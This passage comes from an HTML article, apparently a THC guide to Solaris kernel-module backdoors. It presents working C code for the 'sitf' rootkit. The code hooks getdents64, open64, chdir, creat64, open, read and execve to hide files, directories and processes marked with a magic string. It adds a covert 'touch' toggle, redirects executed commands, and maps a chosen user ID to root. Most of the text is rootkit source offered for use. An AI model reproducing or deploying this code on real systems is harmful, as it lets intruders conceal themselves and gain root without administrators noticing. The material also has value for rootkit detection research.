511 <p><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
512 if (strstr((char *) &amp;(buf3->d_name), (char *) &amp;magic) != NULL)
513 {</tt>
514 <br><tt>#ifdef DEBUG&nbsp;</tt>
515 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
516 cmn_err(CE_NOTE,"sitf: hiding file (%s)", buf3->d_name);</tt>
517 <br><tt>#endif</tt>
518 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
519 if (i != 0)</tt>
520 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
521 memmove(buf3, (char *) buf3 + buf3->d_reclen, i);</tt>
522 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
523 else</tt>
524 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
525 buf3->d_off = 1024;</tt>
526 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
527 ret -= reclen;</tt>
528 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
529 }&nbsp;</tt>
530 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
531 /*&nbsp;</tt>
532 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
533 * most people implement this little check into their modules,</tt>
534 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
535 * don't ask me, if some of the solaris fs driver modules really</tt>
536 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
537 * generate a d_reclen=0.</tt>
538 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
539 * correction: this code is needed for solaris sparc at least,</tt>
540 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
541 * otherwise you`ll find yourself back in a world of crashes.</tt>
542 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
543 */</tt>
544 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
545 if (buf3->d_reclen &lt; 1) {</tt>
546 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
547 ret -= i;</tt>
548 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
549 i = 0;</tt>
550 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
551 }&nbsp;</tt>
552 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
553 if (i != 0)</tt>
554 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
555 buf3 = (struct dirent64 *) ((char *) buf3 + buf3->d_reclen);</tt>
556 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</tt>
557 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; copyout((char *) buf2,
558 (char *) buf, ret);</tt>
559 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; kmem_free(buf2, oldret);</tt>
560 <br><tt>&nbsp;&nbsp;&nbsp; }</tt>
561 <br><tt>&nbsp;&nbsp;&nbsp; return ret;</tt>
562 <br><tt>}</tt></blockquote>
563 Understanding this code is not that easy, since it works with the weird
564 dirent structure, but the <tt>dirent</tt> struct is also present in Linux
565 and can be understand reading the man pages and the specific headers, I
566 won't go into more details.&nbsp;
567 <br>There is still a minor problem with this piece of code, when you include
568 the magic string more than once in to your filename the module won't act
569 correctly, it looks like the <tt>strstr()</tt> function causes problems
570 while running inside the kernel. I plan to fix this bug in version 2.0
571 of the article / module, until then include the magic string only once
572 in your filenames.</blockquote>
573 <font size=+1>5.2&nbsp;&nbsp; Hiding directories and file content</font>
574 <blockquote>This idea has been taken from pragamatic's Linux kernel module
575 article. If files are hidden from being listed as described above they still
576 can be accessed by everybody and directories can be entered by everybody
577 too. I used a switch (see 5.3 Generating a remote switch) to toggle these
578 features On and Off. So if I don't want anybody to access the content of
579 my hidden files or anybody to enter my hidden directories, I would turn
580 the switch On.&nbsp;
581 <br>The syscall open64() is used to open files for reading and writing
582 under Solaris (not inside the /proc), if the filename of the file to be
583 opened contains the magic word and the security flag is set, the faked
584 syscall will return the error message: "No such file or directory".&nbsp;
585 <blockquote><tt>#define MAGIC&nbsp;&nbsp; "CHT.THC"&nbsp;</tt>
586 <br><tt>char magic[] = MAGIC;</tt>
587 <br><tt>int security = FALSE;</tt>
588 <p>[...]
589 <p><tt>int newopen64(const char *path, int oflag, mode_t mode)</tt>
590 <br><tt>{</tt>
591 <br><tt>&nbsp;&nbsp;&nbsp; int ret;</tt>
592 <br><tt>&nbsp;&nbsp;&nbsp; int len;</tt>
593 <br><tt>&nbsp;&nbsp;&nbsp; char namebuf[1028];</tt><tt></tt>
594 <p><tt>&nbsp;&nbsp;&nbsp; ret = oldopen64(path, oflag, mode);</tt><tt></tt>
595 <p><tt>&nbsp;&nbsp;&nbsp; if (ret >= 0) {</tt>
596 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; copyinstr(path, namebuf,
597 1028, (size_t *) &amp; len);</tt><tt></tt>
598 <p><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (security &amp;&amp;
599 strstr(namebuf, (char *) &amp;magic) != NULL) {</tt>
600 <br><tt>#ifdef DEBUG</tt>
601 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
602 cmn_err(CE_NOTE, "sitf: hiding content of file (%s)", namebuf);</tt>
603 <br><tt>#endif</tt>
604 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
605 set_errno(ENOENT);</tt>
606 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
607 return -1;</tt>
608 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</tt>
609 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return ret;</tt>
610 <br><tt>&nbsp;&nbsp;&nbsp; }</tt>
611 <br><tt>}</tt>
612 <br><tt></tt>&nbsp;</blockquote>
613 The syscall chdir() is used to change the current directory, if someone
614 tries to enter a directory containing the magic string and the security
615 flag is set, the faked syscall will return the error message: "No such
616 file or directory".
617 <blockquote><tt>int newchdir(const char *path)</tt>
618 <br><tt>{</tt>
619 <br><tt>&nbsp;&nbsp;&nbsp; char namebuf[1028];</tt>
620 <br><tt>&nbsp;&nbsp;&nbsp; int len;</tt><tt></tt>
621 <p><tt>&nbsp;&nbsp;&nbsp; copyinstr(path, namebuf, 1028, (size_t *) &amp;
622 len);</tt><tt></tt>
623 <p><tt>&nbsp;&nbsp;&nbsp; if (security &amp;&amp; strstr(namebuf, (char
624 *) &amp;magic) != NULL) {</tt>
625 <br><tt>#ifdef DEBUG</tt>
626 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; cmn_err(CE_NOTE, "sitf:
627 hiding directory (%s)", namebuf);</tt>
628 <br><tt>#endif</tt>
629 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; set_errno(ENOENT);</tt>
630 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return -1;</tt>
631 <br><tt>&nbsp;&nbsp;&nbsp; } else</tt>
632 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return oldchdir(path);</tt>
633 <br><tt>}</tt>
634 <br><tt></tt>&nbsp;</blockquote>
635 These two functions combined with the faked <tt>getdents64()</tt>
636 call protect all files and directories you want to hide including their
637 content. But how can you easily switch between the total security and a
638 work-environment where files are hidden but you can access and manipulate
639 them, e.g. configuration files, read on.</blockquote>
640 <font size=+1>5.3&nbsp;&nbsp; Generating a remote switch</font>
641 <blockquote>While investigating some of the most used command line programs,
642 I stumbeld over <tt>/usr/bin/touch</tt>, touch uses the syscall <tt>creat64()</tt>.
643 I found this to be a good place to include a remote switch, for toggling
644 features of a module On or Off, e.g. the security flag above in 5.2. Of
645 cause this is not a real secure switch because an administrator could monitor
646 you activities and will discover you suspicious touch calls.
647 <br>First of all we need to define a key that will help us being the only
648 person toggling our switch.
649 <blockquote><tt>#define KEY "mykey"</tt>
650 <br><tt>char key[] = KEY;</tt>
651 <p>[...]
652 <p><tt>int newcreat64(const char *path, mode_t mode)</tt>
653 <br><tt>{</tt>
654 <br><tt>&nbsp;&nbsp;&nbsp; char namebuf[1028];</tt>
655 <br><tt>&nbsp;&nbsp;&nbsp; int len;</tt><tt></tt>
656 <p><tt>&nbsp;&nbsp;&nbsp; copyinstr(path, namebuf, 1028, (size_t *) &amp;
657 len);</tt><tt></tt>
658 <p><tt>&nbsp;&nbsp;&nbsp; if (strstr(namebuf, (char *) &amp;key) != NULL)
659 {</tt>
660 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (security) {</tt>
661 <br><tt>#ifdef DEBUG</tt>
662 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
663 cmn_err(CE_NOTE, "sitf: disabeling security");</tt>
664 <br><tt>#endif</tt>
665 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
666 security = FALSE;</tt>
667 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; } else {</tt>
668 <br><tt>#ifdef DEBUG</tt>
669 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
670 cmn_err(CE_NOTE, "sitf: enabeling security");</tt>
671 <br><tt>#endif</tt>
672 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
673 security = TRUE;</tt>
674 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</tt>
675 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; set_errno(ENFILE);</tt>
676 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return -1;</tt>
677 <br><tt>&nbsp;&nbsp;&nbsp; } else</tt>
678 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return oldcreat64(path,
679 mode);</tt>
680 <br><tt>}</tt></blockquote>
681 When the touch command is used the syscall <tt>creat64()</tt> will be called.
682 Our faked syscall will check if the filename includes our key and then
683 en- or disable the security flag. In order to tell us if this suceed it
684 will return the error (<tt>ENFILE, </tt>The system file table is full).
685 I hope this is a rather seldom error message.</blockquote>
686 <font size=+1>5.4&nbsp;&nbsp; Hiding processes (proc file system approach)</font>
687 <blockquote>Before I concentrated on the structured proc of Solaris, I
688 developed a basic way to hide files from being listed. This code should
689 only function as an example because it may consume a lot cpu power.
690 <br>When a user executes <tt>ps</tt> or <tt>top</tt> these tools will read
691 parts of the proc file systems and return their content. The file that
692 halts information about the process caller and the executed file is <tt>psinfo</tt>
693 found inf <tt>/proc/&lt;pid>/psinfo</tt>. The content of this file is described
694 in <tt>/usr/include/sys/procfs.h</tt>.&nbsp;
695 <blockquote><tt>typedef struct psinfo {</tt>
696 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int&nbsp;&nbsp;&nbsp;&nbsp;
697 pr_flag;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* process flags */</tt>
698 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int&nbsp;&nbsp;&nbsp;&nbsp;
699 pr_nlwp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* number of lwps in
700 process */</tt>
701 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pid_t&nbsp;&nbsp; pr_pid;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
702 /* unique process id */</tt>
703 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pid_t&nbsp;&nbsp; pr_ppid;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
704 /* process id of parent */</tt>
705 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pid_t&nbsp;&nbsp; pr_pgid;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
706 /* pid of process group leader */</tt>
707 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pid_t&nbsp;&nbsp; pr_sid;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
708 /* session id */</tt>
709 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; uid_t&nbsp;&nbsp; pr_uid;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
710 /* real user id */</tt>
711 <p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [...]
712 <p><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; char&nbsp;&nbsp;&nbsp;
713 pr_psargs[PRARGSZ];&nbsp;&nbsp;&nbsp;&nbsp; /* initial characters of arg
714 list */</tt>
715 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int&nbsp;&nbsp;&nbsp;&nbsp;
716 pr_wstat;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* if zombie, the wait()
717 status */</tt>
718 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int&nbsp;&nbsp;&nbsp;&nbsp;
719 pr_argc;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* initial argument
720 count */</tt>
721 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; uintptr_t pr_argv;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
722 /* address of initial argument vector */</tt>
723 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; uintptr_t pr_envp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
724 /* address of initial environment vector */</tt>
725 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; char&nbsp;&nbsp;&nbsp;
726 pr_dmodel;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* data model of the process */</tt>
727 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; char&nbsp;&nbsp;&nbsp;
728 pr_pad2[3];</tt>
729 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int&nbsp;&nbsp;&nbsp;&nbsp;
730 pr_filler[7];&nbsp;&nbsp; /* reserved for future use */</tt>
731 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lwpsinfo_t pr_lwp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
732 /* information for representative lwp */</tt>
733 <br><tt>} psinfo_t;</tt>
734 <br>&nbsp;</blockquote>
735 It's always the size of the<tt> psinfo_t</tt> struct. The member <tt>psargs</tt>
736 includes the executed filename and the following arguments. Whenever a
737 file named <tt>psinfo</tt> is opened a faked <tt>open()</tt> syscall will
738 set a special flag, signaling that one of the next <tt>read()</tt> calls
739 will read this file. Note that inside the /proc file system Solaris uses
740 the <tt>open()</tt> syscall instead of the <tt>open64()</tt> syscall.&nbsp;
741 <blockquote><tt>#define MAGIC "CHT.THC"</tt>
742 <br><tt>char magic[] = MAGIC;</tt>
743 <br><tt>char psinfo[] = "psinfo";</tt>
744 <br><tt>int psfildes = FALSE;</tt>
745 <p>[...]
746 <p><tt>int newopen(const char *path, int oflag, mode_t mode)</tt>
747 <br><tt>{</tt>
748 <br><tt>&nbsp;&nbsp;&nbsp; int ret;&nbsp;</tt>
749 <p><tt>&nbsp;&nbsp;&nbsp; ret = oldopen(path, oflag, mode);</tt>
750 <br><tt>&nbsp;&nbsp;&nbsp; if (strstr(path, (char *) &amp;psinfo) != NULL)
751 {</tt>
752 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; psfildes = ret;</tt>
753 <br><tt>&nbsp;&nbsp;&nbsp; } else</tt>
754 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; psfildes = FALSE;</tt>
755 <p><tt>&nbsp;&nbsp;&nbsp; return ret;</tt>
756 <br><tt>}</tt></blockquote>
757 A redirected <tt>read()</tt> function will look into the file if it has
758 the size of a <tt>psinfo</tt> file and the <tt>open64()</tt> call has set
759 the <tt>psfildes</tt> flag to the specific file descriptor. The<tt> read()</tt>
760 syscall will then copy the content of the file to a <tt>psinfo_t</tt> struct
761 and compare the executed file with the magic string. This is done by investigating
762 <tt>psinfo_t->pr_psargs</tt>.
763 If the magic string is found it will return an error and this proc entry
764 won't be displayed in a process listing.&nbsp;
765 <blockquote><tt>ssize_t</tt>
766 <br><tt>newread(int fildes, void *buf, size_t nbyte)</tt>
767 <br><tt>{</tt>
768 <br><tt>&nbsp;&nbsp;&nbsp; ssize_t ret;</tt>
769 <br><tt>&nbsp;&nbsp;&nbsp; psinfo_t *info;</tt>
770 <p><tt>&nbsp;&nbsp;&nbsp; ret = oldread(fildes, buf, nbyte);</tt>
771 <br><tt>&nbsp;&nbsp;&nbsp; if (fildes > 0 &amp;&amp; fildes == psfildes
772 &amp;&amp; nbyte == sizeof(psinfo_t)) {&nbsp;</tt>
773 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; info = (psinfo_t *)
774 kmem_alloc(sizeof(psinfo_t), KM_SLEEP);</tt>
775 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; copyin(buf, (void *)
776 info, sizeof(psinfo_t));</tt>
777 <p><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (strstr(info->pr_psargs,
778 (char *) &amp;magic) != NULL) {</tt>
779 <br><tt>#ifdef DEBUG</tt>
780 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
781 cmn_err(CE_NOTE,"hiding process: %s", info->pr_psargs);</tt>
782 <br><tt>#endif</tt>
783 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
784 kmem_free(info, sizeof(psinfo_t));</tt>
785 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
786 set_errno(ENOENT);</tt>
787 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
788 return -1;</tt>
789 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; } else</tt>
790 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
791 kmem_free(info, sizeof(psinfo_t));</tt>
792 <br><tt>&nbsp;&nbsp;&nbsp; }</tt>
793 <br><tt>&nbsp;&nbsp;&nbsp; return ret;</tt>
794 <br><tt>}</tt></blockquote>
795 You see that this is really not a proper way to hide processes from being
796 listed because a lot cpu power will be wasted by the <tt>open64()</tt>
797 and the <tt>read()</tt> call due to the fact that they got called very
798 often on any system. A really fast method can be found in 5.6 Hiding processes
799 (structured proc approach), just read on.</blockquote>
800 <font size=+1>--->&nbsp;&nbsp; Module: sitf0.1.c&nbsp;</font>
801 <blockquote>The module sitf0.1.c (Solaris Integrated Trojan Facility) demonstrates
802 all topics described above, it is configured by setting the following variables:
803 <ol><tt>#define MAGIC&nbsp;&nbsp; "CHT.THC"</tt>
804 <br><tt>#define KEY&nbsp;&nbsp;&nbsp;&nbsp; "mykey"</tt>
805 <br><tt>#define UID&nbsp;&nbsp;&nbsp;&nbsp; 1001</tt></ol>
806 If a file or a process includes the string <tt>MAGIC</tt>, it will not
807 be listed by any tool. Directories or file content of files containing
808 this string will also be unaccessiable if the security flag is set. You
809 can toggle the security flag by using the touch command, <tt>KEY</tt> is
810 the argument for touch.
811 <blockquote><tt>$ touch mykey</tt></blockquote>
812 The UID specifies the user id that should automatically be mapped to root
813 if a user logs on.You can monitor all activities via syslogd if you compiled
814 the module with the <tt>DEBUG</tt> defintion.</blockquote>
815 <font size=+1>5.5&nbsp;&nbsp; Redirecting an execve() call</font>
816 <blockquote>Redirecting the execve() call was really a challange on Solaric
817 (Sparc), because the kernel really "cares" about a proper user- and kernel
818 memory transfer. The following code does not allocate user memory, it simply
819 overwrites the defined buffer with the new command to execute, eventhough
820 I have tested this call a thousand times and nothing bad happened, I advice
821 you to read the next version of this article, that will feature some
822 techniques
823 to allocate user memory properly.
824 <blockquote><tt>#define OLDCMD&nbsp; "/bin/who"</tt>
825 <br><tt>#define NEWCMD&nbsp; "/usr/openwin/bin/xview/xcalc"</tt>
826 <br><tt>char oldcmd[] = OLDCMD;</tt>
827 <br><tt>char newcmd[] = NEWCMD;</tt>
828 <p>[...]
829 <p><tt>int newexecve(const char *filename, const char *argv[], const char
830 *envp[])</tt>
831 <br><tt>{</tt>
832 <br><tt>&nbsp;&nbsp;&nbsp; int ret;</tt>
833 <br><tt>&nbsp;&nbsp;&nbsp; char *name;</tt>
834 <br><tt>&nbsp;&nbsp;&nbsp; unsigned long addr;&nbsp;</tt>
835 <p><tt>&nbsp;&nbsp;&nbsp; name = (char *) kmem_alloc(256, KM_SLEEP);</tt>
836 <br><tt>&nbsp;&nbsp;&nbsp; copyin(filename, name, 256);</tt>
837 <br><tt>&nbsp;&nbsp;&nbsp; if (!strcmp(name, (char *) oldcmd)) {</tt>
838 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; copyout((char *) newcmd,
839 (char *) filename, strlen(newcmd) + 1);</tt>
840 <br><tt>#ifdef DEBUG</tt>
841 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; cmn_err(CE_NOTE,"sitf:
842 executing %s instead of %s", newcmd, name);</tt>
843 <br><tt>#endif</tt>
844 <br><tt>&nbsp;&nbsp;&nbsp; }</tt>
845 <br><tt>&nbsp;&nbsp;&nbsp; kmem_free(name, 256);&nbsp;</tt>
846 <br><tt>&nbsp;&nbsp;&nbsp; return oldexecve(filename, argv, envp);</tt>
847 <br><tt>}</tt></blockquote>
848 </blockquote>
849 <font size=+1>5.6&nbsp;&nbsp; Hiding processes (structured proc approach)</font>
850 <blockquote>This is a proper approach for hiding processes from being listed.
851 Take a look at the header file <tt>/usr/include/sys/proc.h</tt>, you will
852 find inside the large <tt>proc_t</tt> struct a member that is called <tt>struct
853 user p_user</tt>. Every process owns such a <tt>proc_t </tt>struct. Solaris
854 generates the files inside the /proc directory from these <tt>proc_t</tt>
855 entries and their corresponding values. If you look into the definition
856 of the <tt>user</tt> struct in <tt>/usr/include/sys/user.h</tt>, you will
857 find what I was looking for the last weeks:
858 <ol><tt>typedef struct&nbsp; user {</tt>
859 <p>[...]
860 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /*</tt>
861 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * Executable file
862 info.</tt>
863 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; */</tt>
864 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; struct exdata&nbsp;&nbsp;
865 u_exdata;</tt>
866 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; auxv_t&nbsp; u_auxv[__KERN_NAUXV_IMPL];
867 /* aux vector from exec */</tt>
868 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; char&nbsp;&nbsp;&nbsp;
869 u_psargs[PSARGSZ];&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* arguments from exec
870 */</tt>
871 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; char&nbsp;&nbsp;&nbsp;
872 u_comm[MAXCOMLEN + 1];</tt>
873 <p>[...]</ol>
874 The member <tt>u_psargs</tt> carries the executed filename of a process
875 and its arguments, this is a good place to check if we should hide the
876 process. There is a little macro defintion in proc.h that helps us getting
877 the <tt>p_user</tt> entry from <tt>proc_t</tt>:
878 <ol><tt>/* Macro to convert proc pointer to a user block pointer */</tt>
879 <br><tt>#define PTOU(p)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
880 (&amp;(p)->p_user)</tt></ol>
881 Now we can determine the exectued filename of every process if we know
882 where the <tt>proc_t</tt> struct is. Another nice funtions helps us finding
883 the <tt>proc_t</tt> struct from a corresponding <tt>pid:</tt> <tt>proc_t
884 *prfind(pid_t). </tt>A tool listing process accesses the /proc directory
885 that stores the processes sorted by their <tt>pids</tt>. I included a small
886 check into the <tt>getdents64()</tt> fake syscall from above, so the function
887 <tt>check_for_process()
888 </tt>gets
889 called.
890 <blockquote>[...]
891 <p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <tt>while (i > 0) {</tt>
892 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
893 reclen = buf3->d_reclen;</tt>
894 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
895 i -= reclen;</tt>
896 <p><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
897 if ((strstr((char *) &amp;(buf3->d_name), (char *) &amp;magic) != NULL)
898 ||</tt>
899 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
900 check_for_process((char *) &amp;(buf3->d_name))) {</tt>
901 <br><tt>#ifdef DEBUG</tt>
902 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
903 cmn_err(CE_NOTE,"sitf: hiding file/process (%s)", buf3->d_name);</tt>
904 <br><tt>#endif</tt>
